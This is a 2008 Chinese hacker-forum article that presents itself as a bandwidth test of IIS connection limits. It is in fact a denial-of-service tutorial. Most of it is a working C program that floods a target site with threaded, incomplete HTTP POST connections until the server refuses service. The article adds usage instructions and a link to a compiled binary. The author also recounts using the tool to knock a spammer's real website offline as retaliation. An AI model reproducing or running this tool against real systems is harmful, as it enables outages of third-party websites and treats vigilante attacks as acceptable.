文章 | 入侵攻击 | 安全防御 | 电脑知识 | 建站技术 | 网络编程 | 网络知识 | 工具使用 | 新闻资讯 | 安全公告

下载 | 漏洞扫描 | 加密破解 | 入侵攻击 | 后门木马 | 溢出程序 | 综合工具 | 安全防护 | 原创作品 | 动画教程

论坛 | 黑客军火 | 配服务器 | 黑客情感 | 免费资源 | 被黑网站 | 美女贴图 | 会员照片 | 在线服务 | 网站首页

  当前位置:主页 > 技术文摘 > 入侵攻击 > 文章内容   您对新版的建议

利用IIS最大连接数测试网站带宽速度


www.hx99.org 阅读: 时间:2008-01-20 整理:华西黑盟
------------------------------------------------------------------
 

来源:安全中国

程序仅做为技术交流之用,勿用于非法用途!) 
        最近买了个空间来玩,各位勿笑,是入门级的虚拟主机(偶是穷人啊),各种参数都相当低,特别是IIS连接数,只有100个(也就是同时支持100个不同的访问)。
        这里就出现问题了。如果我一直对该网站进行连接,虽然我是同一个人,但是IIS却傻乎乎的把每次连接当成不同的人,每连接一次就会分配一个session给我,当连接超过服务器设置的IIS最大连接数目的时候……呵呵,拒绝服务就发生了。
        具体的攻击嘛,我们当然是利用程序来完成。思路简单,就是不断的向网站发HTTP请求,直到超过它的最大连接数。正好机器上有以前看了shotgun的《HTTP协议Content Lenth限制漏洞导致拒绝服务攻击》写的测试程序,跟今天的要求很相似,就拿来改改咯。具体代码如下:
 


#include "winsock.h"
#include "stdio.h"
#include "string.h"
#include "io.h"
#pragma comment(lib,"ws2_32.lib")
#define BUFLEN 1024
#define MAXThreadCount 10 //设置最大线程数
 
int ThreadCount=0; 
 
struct mydata
{
  char *ip;
  int  port;
};
 
 
unsigned int resolve(char *name)
{
    struct hostent *he;
    unsigned int ip;
 
    if((ip=inet_addr(name))==(-1))
    {
        if((he=gethostbyname(name))==0)
            return 0;
        memcpy(&ip,he->h_addr,4);
    }
    return ip;
}
 
 
DWORD WINAPI Dos(LPVOID lpParam ) 

  mydata *csdn = (mydata*)lpParam;
  struct sockaddr_in server;
  server.sin_family = AF_INET;
  server.sin_port = htons(csdn->port);
   server.sin_addr.s_addr = resolve((char*)csdn->ip);
      if(server.sin_addr.s_addr==0)
    {
        
         printf("Don’t find  address %s\n",(char*)csdn->ip);
        exit(0);
    }
  int my;
  char buf[100]="POST / HTTP/1.1\r\nHost: ";
  strcat(buf,(char*)csdn->ip);
  strcat(buf," \r\nContent-Length: 10\r\n\r\n");
    my=socket(PF_INET,SOCK_STREAM,0);
  if(my==INVALID_SOCKET)
    {
         printf("ERROR");
         exit(0);
    }
if(connect(my,(struct sockaddr *) & server,sizeof(server))==SOCKET_ERROR)
    {
         printf("Socket ERROR:%d",GetLastError());
        exit(0);
    }
  if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");}
  ThreadCount--;
    return 0; 

 
void thread ( char *a1 , char *a2 , char *a3 )
{
  static mydata tmp;
  tmp.ip = a1;
  tmp.port = atoi(a2);
 
  DWORD dwThreadId;
    HANDLE hThread; 
  WSADATA ws;
   if   (WSAStartup( MAKEWORD(2,2), &ws )!=0)
   {
                printf(" [-] WSAStartup() error\n");
                exit(0);
   }
    hThread = CreateThread( 
        NULL,                        // no security attributes 
        0,                           // use default stack size  
        Dos,                  // thread function 
        &tmp,                // argument to thread function 
        0,                           // use default creation flags 
        &dwThreadId);                // returns the thread identifier 
   if (hThread == NULL) 
     printf( "CreateThread failed." ); 
  ThreadCount++;
  Sleep(200);     //延时,否则CPU会用满……
   CloseHandle(hThread);
}
 
int main(int argc, char* argv[])
{
  int i=0;
  if(argc!=4)
  {
         printf("\n\tIIS MaxConnectionCount DOS by lake2 ,Jul,8,2005\n");
         printf("-Usage:\n");
         printf("%s \n",argv[0]);
         printf("-Example: %s www.target.com 80 300\n",argv[0]);
         return 0;
  }
  printf("Starting DOS.............Ctrl + C break\n");
  while( i < atoi(argv[3]) )
  {
         if( ThreadCount < MAXThreadCount ){ thread(argv[1],argv[2],argv[3]); i++;}
  }
  while( 1 ){      }
  WSACleanup();
  return 0;
}
 

 
        (VS.net 、XP SP1调试通过。编译好的程序可以在这里找到:http://www.0x54.org/lake2/program/IISDos.exe
        程序为命令行程序,共有三个参数,依次为要攻击的网站域名、端口、连接数。嗯,测试下效果先。
测试的目标是个人电脑,系统为win2000。IIS管理中把最大连接数设为200,很快网站就不能访问了;增大到500,仍然会被当;800,还是要被当(图)。测试过程中该电脑正在运行魔兽世界,而且一直正常。看来我们的程序只是对付网站,不会央及无辜的啊^_^

        既然如此,那索性试试IIS连接数为无限的情况。程序中的连接参数我填的8000,结果运行途中我的系统没有了缓冲区间,winsock产生10055号错误,程序中止。呵呵,看来这种方法还是只能针对使用虚拟空间的中小网站。
        好,偶们来实际使用一下。打开邮箱,随便找封广告垃圾邮件,访问那家伙的网站,然后开始攻击它,对付这种小站连接数就设成300就绰绰有余了。呵呵,很快那网站就不工作了,嘿嘿,这可怪不得我,谁叫他发垃圾邮件在前。好了,测试完毕,通过验收,就不跟他玩了。

        这只是个测试程序,真正要投入到应用还得再完善完善。再说废话一句,要是跟别人没有国仇家恨的话还是不要DOS的好。

   ---------------------------------------------------------------------------------------------------
  上一篇:RealPlayer木马思路
  下一篇:对红色黑客联盟的一次检测
   ---------------------------------------------------------------------------------------------------
用户名:
Email:
评论内容:
 
  精品推荐
密码失而复得 RAR文件密码
破解WEP无线网络密码详细
一次局域网入侵全过程-完
黑客如何破坏杀毒软件
入侵董燕妮个人网站全过程
破解密码相关心理学知识
经典入侵检测术语全接触
Ms08-067 Exp 详细测试流
Cookies的注入方法和原理
另类破解双系统Vista密码
资深黑客浅谈文件捆绑技术
渗透韩国服务器
免杀技术详解
新的挂马方式ARP欺骗挂马
入侵超变态动网论坛
社会工程学的全方位讲解与
PcShare 免杀 附加数据
SQL注射修改难猜解的MD5
利用WEBSHELL直接进入后台
上网特权我来定
使用CSS进行的攻击
利用MS08-058攻击Google
跨站跨出WEBSHELL
多思路WEB入侵
检测周杰伦官方网站
关于我们 | 发展历程 | 在线投稿 | 核心监督 | 友情链接 | 网站地图 | 网站留言 | 联系我们
Copyright © 2004-2009 Www.Hx99.Net
版本:华西黑盟网站系统V6.0 Email:root#hx99.org
中国·西安·宝鸡 请使用IE6.0版本, 分辩率1024×768进行浏览
版权所有 任意抄袭 注意完整
陕ICP备06000444号